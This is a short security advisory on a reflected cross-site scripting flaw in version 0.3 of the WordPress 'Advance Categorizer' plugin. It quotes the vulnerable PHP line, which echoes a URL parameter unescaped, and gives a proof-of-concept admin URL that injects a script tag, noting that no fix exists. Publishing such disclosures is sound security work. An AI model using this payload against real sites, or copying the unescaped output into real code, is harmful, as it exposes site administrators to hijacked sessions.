Title: WordPress 'Advance Categorizer' Plugin Version: 0.3 Author: Morten N?rtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-24 Download: - https://wordpress.org/plugins/advance-categorizer/ - https://plugins.svn.wordpress.org/advance-categorizer/ Notified WordPress: 2015-06-24 ========================================================== ## Plugin description ========================================================== Allows you to add multiple categories using comma seperated text. You can also start via url "/wp-admin/post-new.php?cat=category1, category2, categor ## Reflected XSS vulnerabilities ========================================================== The plugin is vulnerable to reflected XSS, which allow an attacker to trick an admin into executing an arbitrary script in the admin panel. PoC: Log in as admin and visit this url: [URL]/wp-admin/post-new.php?cat=asdf"/><script>confirm(/Hackedihack/)</script> Vulnerable code in file advance-categorizer.php: L.61: ... value="<?=isset($_GET['cat'])?$_GET['cat']:(isset($_GET['categories'])?$_GET['categories']:'');?>" ... ## Solution ========================================================== No fix available ========================================================== Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.